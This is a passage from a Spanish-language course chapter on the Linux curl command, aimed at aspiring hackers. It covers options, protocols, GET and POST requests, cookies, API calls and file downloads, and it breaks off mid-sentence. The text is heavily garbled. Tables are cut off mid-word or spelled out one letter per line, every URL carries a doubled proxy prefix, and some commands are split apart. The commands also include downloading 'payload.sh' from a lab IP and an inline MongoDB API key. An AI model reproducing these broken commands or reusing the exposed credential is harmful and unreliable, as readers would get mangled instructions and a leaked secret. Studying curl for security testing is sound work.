Bienvenidos a este capítulo del Curso de Linux para Hackers – El Comando
curl. Comparte este articulo y síguenos para recibir más capítulos y cursos
gratis.
Esta guía es parte de un curso mucho más grande en donde te enseñamos a
convertirte en hacker de 0 a 100. Desde los conocimientos más básicos
hasta conseguir empleo.
En esta guía veremos desde cero un tema tan amplio como es Linux y lo
haremos desde el punto de vista del hacking y la ciberseguridad.
Para saber más comente a continuación, respondemos todos y cada uno de
los comentarios.
Índice
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos
cursos?
Lo que aprenderás en este artículo
El Comando curl en Linux
¿Qué es libcurl?
Sintaxis:
Opciones de curl:
Protocolos de curl
Instalación del comando curl
Parámetro GET
Parámetros POST
Cookies
Agentes de usuario de cURL
Guarda la respuesta del servidor en un archivo.
Descarga un archivo a la carpeta actual
Sigue HTTP/1.1 302 redirecciones encontradas
Encabezados de respuesta de salida de cURL a STDOUT
cURL ve información detallada de depuración (encabezados de
respuesta y otros detalles de depuración – STD2)
Buscando en la web
Descargando archivos
Comandos GET curl
Comandos POST curl
Interacción API
Cookies
curl Script
curl avanzado
Ejemplo de solicitud curl
Obtener el contenido de la URL especificada
Guardar datos en un archivo específico
Consulta de encabezados HTTP
Hackear con cURL
Usando cURL para canalizar un scipt remoto (linpeas.sh) directamente
a bash:
Atacar un formulario de inicio de sesión con cURL
Creando nuevos usuarios con cURL
Fuzzing servidores web con cURL
Fuzzing con límites de longitud de URI / GET de longitud de parámetro
con cURL
Fuzzing límites de longitud del parámetro POST con cURL
Verifique si el inicio de sesión de un usuario es correcto en un script
Bash
Automatizar la creación de usuarios y probar la omisión de
mysql_real_escape_string
Resumen del artículo sobre el comando curl en Linux
1. ¿Qué es curl y libcurl?
2. Instalación del comando curl
3. Sintaxis básica de curl
4. Opciones principales de curl
5. Ejemplos prácticos del comando curl
6. Uso avanzado de curl para pruebas de seguridad
7. Automatización y scripting con curl en Bash
Conclusión
Pon en práctica lo aprendido
No te detengas, sigue avanzando
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos
cursos?
Sobre los autores
Álvaro Chirou
Laprovittera Carlos
Hacker de 0 a 100 desde las bases hasta conseguir empleo
SIGUE APRENDIENDO GRATIS CON NUESTRAS GUIAS
Aprende con nuestros más de 100 cursos que tenemos disponibles
para vos
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
Facebook
Twitter
LinkedIn
Telegram
TikTok
YouTube
Instagram
Lo que aprenderás en este artículo
1. Introducción al comando curl y sus usos básicos:
Entender qué es curl y su importancia para transferir datos a
través de varios protocolos.
Conocer libcurl, la biblioteca detrás de curl, que ofrece soporte
para múltiples protocolos de red.
2. Opciones y parámetros principales de curl:
Aprender las opciones y banderas más utilizadas de curl para
realizar diferentes tipos de solicitudes HTTP (GET, POST, etc.).
Saber cómo gestionar cookies, encabezados HTTP y datos de
formularios con curl.
3. Aplicaciones prácticas y ejemplos de uso de curl:
Realizar solicitudes básicas y avanzadas, incluyendo descargas
de archivos, autenticación, y manipulación de cookies y
encabezados.
Ejecutar scripts para automatizar consultas curl en diferentes
escenarios de hacking ético y pruebas de seguridad.
4. Uso avanzado de curl en la línea de comandos:
Exploración de comandos de fuzzing y pruebas automatizadas
con curl en Bash.
Cómo interactuar con APIs y realizar solicitudes de datos JSON o
autenticación basada en API.
El Comando curl en Linux
El comando curl de Linux se utiliza para descargar o cargar datos a un
servidor a través de protocolos compatibles como HTTP, FTP, IMAP, SFTP,
TFTP, IMAP, POP3, SCP, etc. Es una utilidad remota, por lo que funciona sin
interacción del usuario.
La transferencia de datos de un lugar a otro es una de las tareas más
importantes y utilizadas de un sistema informático. Sin embargo, existen
muchas herramientas GUI disponibles para la transferencia de datos. Pero,
cuando se trabaja en la línea de comandos, se vuelve un poco complicado.
La utilidad curl nos permite transferir datos a través de la línea de
comandos.
Curl ofrece una gran cantidad de trucos útiles, como reanudación de
transferencia de archivos, cookies, conexiones SSL, publicación HTTP, carga
FTP, autenticación de usuarios, compatibilidad con proxy y más. Curl está
mecanizado por libcurl para todos los aspectos relacionados con la
transferencia.
¿Qué es libcurl?
libcurl es una biblioteca de transferencia de URL gratuita del lado del cliente.
Admite SMB, SMTP, SCP, RTMP, RTSP, POP3, MQTT, LDAP, Kerberos, IMAP,
HTTPS, túnel de proxy HTTP, HTTP PUT, HTTP POST, HTTP/1, Gopher, FTPS,
FTP, DICT y cookies. La biblioteca también admite autenticación de usuario
más contraseña, servidores proxy, LDAPS, certificados HTTPS, carga basada
en formularios HTTP, carga FTP, reanudación de transferencia de archivos,
TFTP, Telnet, SFTP y esquema de URL de archivo.
libcurl es compacto. Crea y funciona de forma idéntica en varias plataformas,
incluidas Microsoft Windows, UnixWare, Ultrix, Tru64, Symbian, Solaris, RISC
OS, QNX Neutrino, OS/2, OpenBSD, NetWare, NetBSD, macOS, Linux, IRIX,
iOS, HURD, HP-UX, FreeBSD, DOS, Darwin, OpenVMS, BlackBerry 10,
BlackBerry Tablet OS, BeOS, Android, AmigaOS y AIX.
La biblioteca libcurl es compatible con IPv6, es segura para subprocesos y
gratuita. También hay enlaces disponibles para más de 50 lenguajes,
incluidos Python, PHP, Java y C/C++.
La biblioteca libcurl es compatible con SChannel, gskit en IBM i, NSS, mbed
TLS, GnuTLS en Windows, Secure Trasport en iOS y macOS, TLS/SSL a través
de OpenSSL, rustls, BearSSL, wolfSSL, AmiSSL, libressl y Boringssl.
Sintaxis:
La sintaxis básica para utilizar curl es la siguiente:
curl [opciones] [URL...]
1.
De la sintaxis anterior,
URL:
La sintaxis de la URL es una URL general que depende del protocolo.
Podemos especificar varias URL de la siguiente manera:
http://site.{uno,dos,tres}.com
1.
Opciones de curl:
El comando curl admite las siguientes opciones de línea de comandos:
–abstract-unix-socket <ruta>: se utiliza para conectarse a través de un
socket de dominio Unix abstracto en lugar de una red.
–anyauth: se utiliza para ordenar a curl que autentique el método por sí
mismo para utilizar el método más seguro. Esta utilidad es una utilidad
opcional «–basic, –digest, –ntlm y negotiate», que se utiliza para establecer
un método de autenticación específico.
-a, –append: se utiliza para cargar archivos. Agrega el archivo en lugar de
sobrescribirlo. Si el archivo indicado no existe en el servidor, creará uno.
–basic: especifica el uso de la autenticación básica HTTP . Es la opción
predeterminada del comando curl. Es útil para anular las configuraciones
anteriores.
–cacert <archivo>: se especifica para usar el archivo de certificado en
particular para verificar el par. Los archivos pueden tener varios certificados
de CA. El formato estándar para los certificados es PEM, por lo que todos los
certificados deben estar en él.
–capath <dir>: Se especifica para usar el directorio en particular para
verificar el par. Podemos especificar múltiples rutas separándolas con dos
puntos (:) como «ruta: ruta2:ruta3». El formato estándar para los certificados
es PEM, por lo que todos los certificados deben estar en él.
–cert-status: se utiliza para verificar el estado del certificado del servidor.
Utiliza la solicitud de estado del certificado o el protocolo TLS de OCSP.
–cert-type <type>: especifica el tipo de certificado curl proporcionado.
Estos certificados pueden estar en formato PEM, DER y ENG. El valor
predeterminado es PEM. Si se especifica varias veces, curl tomará el último
valor.
-E, –cert <certificado[: contraseña]>: se especifica para utilizar el
archivo de certificado de cliente al obtener un archivo a través de cualquier
protocolo basado en SSL, como HTTPS, FTPS, etc.
–ciphers <lista de cifrados>: Se utiliza para seleccionar los cifrados a
utilizar en la conexión.
–compressed-ssh: se utiliza para habilitar la compresión SSH incorporada.
Esta opción se considerará una solicitud del servidor, por lo que el servidor
puede aceptarla o no.
–compressed: se utiliza para solicitar una respuesta comprimida mediante
los algoritmos curl y guarda el documento sin comprimir. Esta opción enviará
un informe sobre la codificación curl no compatible.
-K, –config <archivo>: se utiliza para describir un archivo de texto para
leer argumentos de curl. curl utilizará los argumentos de la línea de
comandos del archivo de texto.
–connect-timeout <segundos>: se utiliza para especificar el tiempo
máximo en segundos para el tiempo de espera de la conexión curl.
–connect-to <HOST1:PORT1:HOST2:PORT2>: se utiliza para crear una
solicitud al par de host y puerto indicado; de lo contrario, se conectará al
siguiente par. Esta opción es una herramienta útil para realizar solicitudes
directas a un servidor específico.
-C, –continue-at <offset>: se utiliza para continuar o reanudar una
transferencia de archivo anterior en el desplazamiento indicado.
-c, –cookie-jar <nombre_archivo>: Se utiliza para especificar un archivo
particular en el que queremos escribir todas las cookies después de una
operación exitosa.
-b, –cookie <data>: Se utiliza para reenviar datos al servidor HTTP en el
encabezado de la cookie.
–create-dirs: Se utiliza junto con la opción ‘-o?’, creará la jerarquía de
directorio local requerida.
–crlf (FTP SMTP): se utiliza para convertir LF a CRLF en la carga. Es una
herramienta muy útil para MVS (OS/390).
–crlfile <archivo>: Se utiliza para especificar (en formato PEM) una Lista de
Revocación de Certificados.
–data-ascii <data>: Es un alias para la opción ?-d?.
–delegation <NIVEL>: Se utiliza para establecer el NIVEL para reconocer al
servidor lo que tiene permitido delegar cuando se trata de credenciales de
usuario.
–digest: Se utiliza para habilitar la autenticación HTTP Digest.
-q, –disable: si se usa como primer argumento, ignorará el archivo de
configuración curlrc.
–dns-interface <interfaz>: Se utiliza para reconocer al servidor para
enviar las solicitudes DNS salientes.
–dns-servers <direcciones>: se utiliza para especificar los
servidores DNS en lugar de los servidores predeterminados.
-f, –fail: se utiliza para hacer que curl falle silenciosamente ante errores del
servidor.
-F, –form <nombre=contenido>: Se utiliza para emular un formulario
completado enviado por el usuario.
-P, –ftp-port <dirección>: se utiliza para revertir los roles de escucha
predeterminados al conectarse con FTP.
–ftp-ssl-ccc-mode <activo/pasivo>: Se utiliza para establecer el modo
CCC.
-G, –get: Se utiliza para especificar datos con la opción ?-d? que se utilizarán
en una solicitud HTTP GET en lugar de una solicitud POST.
-h, –help: Se utiliza para mostrar el manual de ayuda con una breve
descripción del uso y opciones de soporte.
-0, –http1.0: Se especifica para utilizar la versión HTTP 1.0.
–ignore-content-length: se utiliza para ignorar el encabezado Content-
Length.
-i, –include: Se utiliza para incluir los encabezados de respuestas HTTP.
-4, –ipv4: Se utiliza para resolver nombres en direcciones IPv4.
-6, –ipv6: Se utiliza para resolver nombres en direcciones IPv6.
Protocolos de curl
Curl admite varios protocolos:
DICT: Nos permite buscar palabras únicamente con diccionarios.
FTP (S): Curl admite el protocolo FTP mediante una gran cantidad de
herramientas y ajustes, con o sin TLS.
ARCHIVO: Nos permite escribir y leer el archivo local. Curl no permite
acceder remotamente a file://URL, pero funcionará cuando esté activo
en Microsoft Windows con el enfoque UNC nativo.
GOPHER (S): Recupera archivos.
HTTP (S): Curl admite HTTP mediante numerosas variaciones y
opciones. Puede hablar en las versiones HTTP 0.9, 1.0, 1.1, 2 y 3 según
la línea de comandos y las opciones de compilación precisas.
IMAP (S): Curl descarga los correos electrónicos para nosotros con el
protocolo de lectura de correo. Con o sin TLS.
LDAP (S): Curl puede implementar la búsqueda de directorio para
nosotros con o sin usar TLS.
MQTT: Curl es compatible con la versión 3 de MQTT. Descargar en
MQTT es lo mismo que «suscribirse» a cualquier tema, y
publicar/subir contenido es lo mismo que «publicar» en cualquier
tema. MQTT no es compatible con TLS.
POP3 (S): Descargar a través de un servidor pop3 representa recibir
correo sin o con TLS.
RTMP (S): El RTMP o Protocolo de mensajería en tiempo real se utiliza
principalmente para la transmisión de medios por servidor.
RTSP: Curl admite las descargas 1.0 de RTSP.
SCP: Curl admite la versión de transferencia de dos scp de SCP.
SFTP: Curl admite SFTP a través de la segunda versión de SSH.
SMB (S): Curl admite la versión 1 de SMB para descarga y carga.
SMTP (S): Subir contenidos a cualquier servidor SMTP significa
transferir un correo electrónico sin o con TLS.
TELNET: Al informar a curl que traiga una URL de telnet se inicia una
sesión interactiva en la que transfiere lo que lee por stdin y da como
resultado lo que le transfiere el servidor.
TFTP: Curl puede implementar cargas y descargas TFTP.
Instalación del comando curl
El comando curl viene con la mayoría de las distribuciones de Linux . Pero, si
el sistema no trae curl por defecto, deberá instalarlo manualmente. Para
instalar curl, ejecute los siguientes comandos:
sudo apt install curl
1.
Verifique la instalación ejecutando el siguiente comando:
curl --version
1.
El comando anterior mostrará la versión instalada del comando curl.
Nota: Los sitios web activos en los siguientes comandos funcionan al
momento de escribir este artículo, pero las URL y la tecnología pueden
cambiar en cualquier momento. Demos un vistaso rápido de lo que puedes
ahacer:
Parámetro GET
Las variables HTTP GET se pueden configurar agregándolas a la URL.
curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
Parámetros POST
Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–
data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:
http://10.10.10.10/login.php
Cookies
cURL tiene un motor de cookies completo que se puede utilizar para
almacenar y cargar las cookies que se le pasan desde un servidor entre
sesiones:
$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php
También puedes especificar tus propias cookies usando el parámetro -b:
$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia"
http://10.10.10.10/home.php
Agentes de usuario de cURL
$ curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
http://10.10.10.10/login.php
Guarda la respuesta del servidor en un archivo.
$ curl -o payload.sh http://10.10.10.10/payload.sh
Descarga un archivo a la carpeta actual
$ curl -O http://10.10.10.10/payload.zip
Sigue HTTP/1.1 302 redirecciones encontradas
curl -L http://10.10.10.10/profile.php
Encabezados de respuesta de salida de cURL a STDOUT
$ curl -i http://10.10.10.10/profile.php
cURL ve información detallada de depuración (encabezados de respuesta y
otros detalles de depuración – STD2)
$ curl -v http://10.10.10.10/profile.php
Buscando en la web
El uso más sencillo de curl es la visualización de sitios web y archivos en la
línea de comandos, que es también la forma en que la mayoría de los
estudiantes de informática aprenden sobre curl en primer lugar.
Las opciones curl (también conocidas como banderas ) comienzan con un
guión (-) o dos (–) y toman argumentos que son cadenas, URL o rutas de
archivo.
DOMINIO DESCRIPCIÓN
curl https://achirou.com/ Devuelve el archivo fuente de una URL h
curl --list-only
Lista de contenidos del directorio http://s
"http://socialdance.stanford.edu/music/"
curl -l Abreviación decurl --list-only
Redirigir la consulta según lo especificad
curl --location
HTTP 3xx. Este directorio URL, https://av
"https://aveclagare.org/mp3"
de archivos MP3 usando el curl --list-only
curl -L Abreviación de curl --location
curl --fail-early "ftp://ftp.corel.com" Falla rápidamente al resolver ftp://ftp.cor
curl --head "https://achirou.com/" Obtener encabezados HTTP de la URL ht
curl -I Abreviación decurl --head
curl --head --show-error
Compruebe si el sitio https://achirou.com
"https://achirou.com/holamundo/"
curl --head --location Expanda una URL acortada o disfrazada:
"https://lnkd.in/dQ2hhwz3" | grep https://lnkd.in/dQ2hhwz3 redirige a una e
Location cuando desea descubrir los sitios web re
Descargando archivos
Los siguientes comandos son útiles cuando deseas extraer contenido de
sitios web. Los siguientes comandos devuelven resultados significativos al
momento de escribirlos. Cambie los parámetros para adaptarlos a sus
propósitos.
DOMINIO DESCRIPCIÓN
curl --output hello.html https://achirou.com/ Envía la URL https://ach
DOMINIO DESCRIPCIÓN
La abreviatura de curl --
curl -o
antes del parámetro de
curl --remote-name Descargue un archivo d
"https://core.ac.uk/download/pdf/71450528.pdf" https://core.ac.uk/down
archivo sin cambiar su n
Descargue un archivo
de https://core.ac.uk/do
curl -"https://core.ac.uk/download/pdf/71450528.pdf“ --
nombre. notas_hack.pdf
output notas_hack.pdf
Alternativamente, pued
outputcon >. Reemplaz
curl --remote-name --continue-at - Continuar con la descar
"https://core.ac.uk/download/pdf/71450528.pdf" https://core.ac.uk/down
curl
Descargue archivos des
"https://en.wikipedia.org/wiki/{Linux,Windows,OSX}" --
nombre según el format
output "file_#1.html"
curl "https://www.gutenberg.org/files/[158-161]/[158- Descargar una secuenc
161]-0.{txt,zip}" --output "bk#1_#2.#3" resultados. bk158_158.t
Descargue todos los arc
URL http://socialdance.s
Aquí, use grep para filtr
curl --location http://socialdance.stanford.edu/music/ |
ruta a los archivos requ
grep '.mp4' | cut -d \" -f 8 | while read i; do curl
ruta estaba en el octavo
http://socialdance.stanford.edu/music/"${i}" -o "$
con curl ayuda a descar
{i##*/}"; done
Necesitará modificar los
otros tipos de archivos y
el código fuente HTML d
Comandos GET curl
Las variables HTTP GET se pueden configurar agregándolas a la URL.
$ curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
Utilice estos comandos para realizar una solicitud GET mediante curl. Los
comandos curl GET pueden requerir que pases claves de autorización a
través de la bandera --header.
También puede realizar otras solicitudes HTTP como PUT y DELETE usando
curl y los indicadores apropiados.
DOMINIO DESCR
Obten
curl --request GET "https://achirou.com/" URL ht
del ter
curl -X Abrevi
Obten
curl --request GET
la view
'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoin
propor
t/view?
parám
secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbS
es un
q8pzbpI8Lo' --header 'Content-Type: application/json'
docum
Obten
la view
el enc
curl --request GET propor
'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoin El resu
t/view? Mongo
secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbS app w
q8pzbpI8Lo&id=636b5046e54ce11139fd8b96' --header 'Content-Type: conten
application/json' expect
{“_id”
”Alvar
everyo
Comandos POST curl
Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–
data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:
$ curl --data "
[email protected]&password=test"
http://10.10.10.10/login.php
Utilice estos comandos para realizar una solicitud POST utilizando curl. Los
comandos curl POST pueden requerir que el --headerindicador pase claves
de autorización.
También puede realizar otras solicitudes HTTP como PUT y DELETE usando
curl y los indicadores apropiados.
DOMINIO DESCRIPCIÓN
curl --header Pasar un encabezado a la URL
curl -H Abreviación decurl --header
curl --request POST "https://achirou.com/ " -d
Obtenga la fuente HTML de la U
'some data'
curl -X Abreviación decurl --request
curl --request POST 'https://data.mongodb-
api.com/app/data-meetp/endpoint/data/v1/action/
insertOne' --header 'Content-Type:
Cargue a través de la API de da
application/json' --header 'api-key:
dado a una base de datos y a u
ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D72
resultado esperado: {"inserted
10gXiZHa5agdbSq8pzbpI8Lo' --data-raw
esto significa que curlhacks se
'{"dataSource": "Cluster0","database":
como un documento MongoDB
"curlhacks","collection": "curlhacks","document":
{ "name": "Alvaro", "age": 37, "greeting":
"Greetings, everyone." }}'
curl --request POST 'https://data.mongodb- Solicite a través de la API de da
api.com/app/data-meetp/endpoint/data/v1/action/ colección, ambas denominadas
findOne' --header 'Content-Type: application/json' par clave-valor {"name": "Alice
--header 'api-key: El resultado esperado es el doc
ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D72 {"_id":"636b5046e54ce11139f
10gXiZHa5agdbSq8pzbpI8Lo' --data-raw greeting":"Greetings, everyone
'{"dataSource": "Cluster0","database":
"curlhacks","collection": "curlhacks","filter":
DOMINIO DESCRIPCIÓN
{ "name": "Alvaro" }}'
curl --request POST 'https://data.mongodb-
api.com/app/data-meetp/endpoint/data/v1/action/
deleteOne' --header 'Content-Type: Elimine a través de la API de da
application/json' --header 'api-key: proporcionado de la base de da
ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D72 denominados curlhacks.
10gXiZHa5agdbSq8pzbpI8Lo' --data-raw El resultado esperado: {"delete
'{"dataSource": "Cluster0","database": esto significa que curlhacks se
"curlhacks","collection": "curlhacks","filter": MongoDB, concretamente el es
{ "_id": { "$oid": "636b4f88fd82bd55d90962c6" }
}}'
Interacción API
Los siguientes comandos pueden ayudarle a automatizar las solicitudes de
consultas web, como los envíos de formularios de Google.
DOMINIO D
curl "https://gitlab.com/api/v4/projects" C
P
s
u
curl --header "Auth-Token:$DB_APP_TOKEN"
c
"https://example.com/api/v3/endpoint"
l
e
a
curl -H A
E
curl --data "Alvaro"
U
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse"
e
curl -d A
DOMINIO D
E
curl --data "Alvaro" U
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > e
output.html e
d
E
c
curl --form "[email protected]" --form "submit=Submit"
(
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" >
p
output.html
s
d
curl -F A
E
G
a
m
s
e
d
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" s
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > d
output.html n
u
E
h
s
I
s
d
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" --form E
DOMINIO D
A
"[email protected]" c
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" r
e
D
m
curl --data d
"entry.123456789=</Users/user1/Downloads/playlist.m3u&emailAddress=test E
@myemail.com" y
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" <
L
t
E
a
c
d
s
i
curl --form "[email protected]" "https://www.iloveimg.com/resize-image" >
a
output.html
i
curl --form "input=/Users/user1/Downloads/pic1.jpg"
d
"https://www.iloveimg.com/resize-image" > output.html
t
p
d
E
l
i
Cookies
cURL tiene un motor de cookies completo que se puede utilizar para
almacenar y cargar las cookies que se le pasan desde un servidor entre
sesiones:
$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php
También puedes especificar tus propias cookies usando el parámetro -b:
$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia"
http://10.10.10.10/home.php
Parece que la sola acción de enviar cookies al sitio web de destino no afecta
el diseño HTML del sitio web. Sin embargo, curl admite los siguientes
métodos:
DOMINIO DESCRIPCIÓN
curl --cookie "registered=yes" Enviar "registered=yes"como c
curl --cookie
Enviar “nombre=Alvaro” y "em
"name=Alvaro;[email protected]"
Enviar el contenido de import_
Como la mayoría de los navega
curl --cookie import_cookies.txt
Cookie:”prefijo, formatee sus c
key1=value1;key2=value2
curl -b Abreviación de--cookie
Escriba cookies mycookies.txtd
curl --cookie-jar mycookies.txt
otras banderas
curl -c Abreviación de--cookie-jar
curl --dump-header Envíe encabezados HTTP y dat
headers_and_cookies.txt https://achirou.com/ aheaders_and_cookies.txt
curl -D Abreviación decurl --dump-hea
curl Script
Puede utilizar comandos curl en scripts bash. Aquí hay algunos scripts de
ejemplo que involucran comandos curl:
EJEMPLO DESCRIPCIÓN
paquete-instalación-curl.sh Instalar paquetes con curl
EJEMPLO DESCRIPCIÓN
curl-url-time.sh Consultar el tiempo de respuesta d
formato curl-json.sh Embellecer la salida json para la re
curl-remote-scripts.sh curl ejecutar scripts remotos
curl avanzado
Aquí hay algunos comandos para ajustar sus operaciones de rizo.
DOMINIO DESCRIPCIÓN
curl -h Mostrar comandos de ayuda
curl --version Mostrar versión rizo
Obtenga resultados detallados mien
curl -v ftp://ftp.afip.com/ URL ftp://ftp.afip.com/. Puede usar e
indicadores como --head, --location.
Obtenga detalles de los paquetes ca
curl --trace ftp_X.txt https://twitter.com/
URL https://twitter.com/
Descargue la URL https://twitter.com
curl -s https://twitter.com/ > twitter.html
progreso
curl -L "https://twitter.com/search" -- Especifique el tiempo máximo en se
connect-timeout 0.1 permitido para conectarse a la URL h
curl -s -w '%{remote_ip} %{time_total} % Devuelve los valores de los parámet
{http_code} \n' -o {remote_ip} %{time_total} %{http_
/dev/null https://achirou.com/ suprime todas las demás salidas del
curl -r 0-99 https://achirou.com/ Obtenga los primeros 100 bytes de l
curl -r -500 https://achirou.com/ Obtenga los últimos 500 bytes de la
DOMINIO DESCRIPCIÓN
Obtenga los primeros 100 bytes de u
curl -r 0-99 ftp://ftp.afip.com
posiciones iniciales y finales explícita
curl -m 0.1 Especifique el tiempo máximo de op
Ejemplo de solicitud curl
Concluyamos este artículo con un truco de solicitud POST curl. Proceda bajo
su propio riesgo.
DOMINIO DESCRIPCIÓN
curl -X POST https://textbelt.com/text --data- Envía un mensaje de texto SM
urlencode phone='+[area code][phone number]' en formato E.164 a través de h
--data-urlencode message='Hola Mundo =).' -d API textbelt. Si tiene una clave
key=textbelt ” textbelt” con ella.
Obtener el contenido de la URL especificada
Para obtener el contenido de una URL específica , ejecute el comando curl,
seguido de la URL. Considere el siguiente comando:
curl https://achirou.com
El comando anterior obtendrá los datos de la página especificada. Observe la
siguiente captura de pantalla del resultado:
En el resultado anterior, podemos ver que se están obteniendo los datos de
la página de la URL indicada. Para detener la ejecución, presione las teclas
CTRL+C.
Guardar datos en un archivo específico
Para guardar los datos en un archivo específico, pase la opción ‘-o’ seguida
del directorio, el nombre del archivo y la URL de la siguiente manera:
curl -o <directorio>/<nombre de archivo> <URL>
1.
Considere el siguiente comando:
curl -o alvaro.html https://achirou.com
1.
El comando anterior guardará los datos de la página en el archivo
‘alvaro.html’. Observe el resultado que se muestra a continuación:
Desde el comando anterior, podemos ver la cantidad total de datos
